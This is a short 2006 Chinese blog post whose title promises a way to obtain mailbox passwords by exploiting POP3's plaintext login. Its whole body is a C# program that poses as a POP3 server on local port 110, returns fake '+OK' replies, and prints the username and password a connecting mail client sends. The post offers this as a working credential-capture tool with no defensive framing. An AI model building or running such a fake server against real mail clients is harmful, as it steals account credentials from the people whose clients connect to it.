博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

利用POP3明文发送机制获取邮箱密码

Posted on 2006-03-16 09:27  HH  阅读(1928)  评论(6)    收藏  举报

static void Main(string[] args)
  {
   //
   // TODO: 在此处添加代码以启动应用程序
   //
   System.Net.IPEndPoint ipEndPoit = new IPEndPoint(IPAddress.Parse("127.0.0.1"),110);
   TcpListener tcpServer = new TcpListener(ipEndPoit);
   tcpServer.Start();

   TcpClient tcpClient = tcpServer.AcceptTcpClient();

   NetworkStream ns = tcpClient.GetStream();

   byte[] outbytes = Encoding.ASCII.GetBytes("+OK Welcome"+Environment.NewLine);
   ns.Write(outbytes,0,outbytes.Length);

            byte[] userBytes = new byte[255];
   ns.Read(userBytes,0,userBytes.Length);

   outbytes = Encoding.ASCII.GetBytes("+OK" + Environment.NewLine);
   ns.Write(outbytes,0,outbytes.Length);

   byte[] pwdBytes = new byte[255];
   ns.Read(pwdBytes,0,pwdBytes.Length);

   Console.WriteLine("帐户名称:" + Encoding.ASCII.GetString(userBytes));
   Console.WriteLine("帐户密码:" + Encoding.ASCII.GetString(pwdBytes));
   Console.Read();

   ns.Close();
   tcpClient.Close();
   tcpServer.Stop();
  }